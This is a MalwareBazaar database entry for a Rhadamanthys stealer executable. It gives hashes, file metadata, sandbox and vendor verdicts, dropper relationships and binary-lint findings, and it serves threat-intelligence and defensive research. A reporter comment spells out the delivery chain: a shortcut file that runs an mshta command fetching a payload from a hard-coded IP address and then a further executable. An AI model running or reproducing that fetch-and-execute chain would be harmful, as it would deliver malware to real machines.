MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 988b61e4f786ebf7b699b909cd02de00efc1d91736d2b793101488e23575c146. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


Rhadamanthys


Vendor detections: 7


Intelligence 7 IOCs YARA 1 File information Comments
Download sample Add tag Delete this sample Report a False Positive

SHA256 hash: 988b61e4f786ebf7b699b909cd02de00efc1d91736d2b793101488e23575c146
SHA3-384 hash: c8d367442d02069610fefdc32a56d3e12d6e2a47632cb8892aebf53b1bc4ccca9937179f07a28defce7bbc38815f668c
SHA1 hash: 9e71b2abf5ff991b7cef6e2e8ceaa7c58f82c33d
MD5 hash: ad99d2273270aef8c93d6933b8da1855
humanhash: xray-missouri-cardinal-oven
File name:install
Download: download sample
Signature Rhadamanthys
Create hunting rule
File size:143'830 bytes
First seen:2024-03-07 14:21:41 UTC
Last seen:Never
File type:Executable exe
MIME type:application/x-dosexec
imphash ba072a972fe6c47c8cf7a0347bb0af7a (3 x Rhadamanthys, 1 x GuLoader, 1 x RemcosRAT)
ssdeep 1536:pti5OzZti5Ozbp/kT8S3f2WK7KNyK7OUuydLyXt08/rfrDyyOmyGXYfT+Y6/O3y+:ptiEzZtiEzxtiEzatiEz
TLSH T155E312562EADEBC6CA8544B01E04138B09564EF17E4F0F77203B3399D171CF66D9AE8A
TrID 37.8% (.EXE) Win32 Executable MS Visual C++ (generic) (31206/45/13)
20.0% (.EXE) Microsoft Visual C++ compiled executable (generic) (16529/12/5)
12.7% (.EXE) Win64 Executable (generic) (10523/12/4)
7.9% (.DLL) Win32 Dynamic Link Library (generic) (6578/25/2)
6.1% (.EXE) Win16 NE executable (generic) (5038/12/1)
File icon (PE):PE icon
dhash icon e9d5f0d5ddd5dde9 (3 x ParallaxRAT, 3 x Rhadamanthys, 1 x CoinMiner)
Reporter rmceoin
Tags:exe


Avatar
rmceoin
91.92.250.150/Downloads/install.pdf.lnk
lastmodified: Wed, 06 Mar 2024 20:23:26 GMT
LNK -> mshta http://89.23.98.210/install -> https://arf.berkeley.edu/installation.exe

Intelligence

File Origin
# of uploads :
1
# of downloads :
310
Origin country :
US US
Vendor Threat Intelligence
Malware family:
n/a
ID:
1
File name:
988b61e4f786ebf7b699b909cd02de00efc1d91736d2b793101488e23575c146.exe
Verdict:
Malicious activity
Analysis date:
2024-03-07 14:22:55 UTC
Tags:
n/a
Link:
https://app.any.run/tasks/bc7d116d-e3e9-4400-aff9-926eb3e14d0b

Note:
ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample
Result
Verdict:
Clean
Maliciousness:

Behaviour
Launching a process
Creating a window
Сreating synchronization primitives
Launching a service
Searching for synchronization primitives
Searching for the window
Modifying a system executable file
Verdict:
No Threat
Threat level:
  10/10
Confidence:
100%
Tags:
anti-vm lolbin overlay shell32
Link:
https://www.filescan.io/uploads/65e9cd8e83a3efb188ce6f97/reports/417edc5f-7edf-47b1-8b57-893956cc8d9f/overview
Verdict:
Unknown
Link:
https://www.hybrid-analysis.com/sample/988b61e4f786ebf7b699b909cd02de00efc1d91736d2b793101488e23575c146
Result
Verdict:
MALICIOUS
Details
Windows PE Executable
Found a Windows Portable Executable (PE) binary. Depending on context, the presence of a binary is suspicious or malicious.
Verdict:
Unknown
Link:
https://analyze.intezer.com/analyses/f33c2bb1-e3ed-4ce3-8490-578f1563fd8b
Result
Threat name:
n/a
Detection:
clean
Classification:
n/a
Score:
4 / 100
Link:
https://www.joesandbox.com/analysis/1404783
Behaviour
Behavior Graph:
n/a
Score:
97%
Verdict:
Malware
File Type:
PE
Link:
https://malprob.io/report/988b61e4f786ebf7b699b909cd02de00efc1d91736d2b793101488e23575c146
Detection:
n/a
Link:
https://mwdb.cert.pl/sample/988b61e4f786ebf7b699b909cd02de00efc1d91736d2b793101488e23575c146/
Detection(s):
Suspicious file
Link:
https://check.spamhaus.org/check/?searchterm=tcfwdzhxq3v7pnuzxee42aw6adx4dwixg3jlpeyqcseoenlvyfda._file
Result
Malware family:
n/a
Score:
  3/10
Tags:
n/a
Link:
https://tria.ge/reports/240307-rpjwpsdb92/
Behaviour
Modifies registry class
Suspicious use of SetWindowsHookEx
Unpacked files
SH256 hash:
988b61e4f786ebf7b699b909cd02de00efc1d91736d2b793101488e23575c146
MD5 hash:
ad99d2273270aef8c93d6933b8da1855
SHA1 hash:
9e71b2abf5ff991b7cef6e2e8ceaa7c58f82c33d
Link:
https://www.unpac.me/results/051a46d0-122f-47dc-aa78-7a96dd68ac8d/
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Malicious File
Score:
1.00
Link:
https://yomi.yoroi.company/submissions/988b61e4f786ebf7b699b909cd02de00efc1d91736d2b793101488e23575c146

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:QbotStuff
Create hunting rule
Author:anonymous

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Rhadamanthys

Shortcut (lnk) lnk 1883b3e1bc451fba939f8d4000e1608945d5d1e75085da1909e55880b0c7dec0

Rhadamanthys

Executable exe 988b61e4f786ebf7b699b909cd02de00efc1d91736d2b793101488e23575c146

(this sample)

Rhadamanthys

Executable exe 4be740b7411f644b92749c5fd9be10b827f885c13690aaf7857a6d58b44e9c8c

  
Dropped by
SHA256 1883b3e1bc451fba939f8d4000e1608945d5d1e75085da1909e55880b0c7dec0
  
Dropping
SHA256 4be740b7411f644b92749c5fd9be10b827f885c13690aaf7857a6d58b44e9c8c
  
Dropping
MD5 0c52f9d275c83b4d6bd82a38d1457097
  
Dropped by
MD5 aa4703c0b54d7282f2ca70ca6b35639c

BLint

The following table provides more information about this file using BLint. BLint is a Binary Linter to check the security properties, and capabilities in executables.

Findings
IDTitleSeverity
CHECK_AUTHENTICODEMissing Authenticodehigh
CHECK_DLL_CHARACTERISTICSMissing dll Security Characteristics (HIGH_ENTROPY_VA)high
Reviews
IDCapabilitiesEvidence
SHELL_APIManipulates System ShellSHELL32.dll::ShellExecuteW
WIN_BASE_APIUses Win Base APIKERNEL32.dll::TerminateProcess
api-ms-win-core-processthreads-l1-1-0.dll::GetStartupInfoW

Comments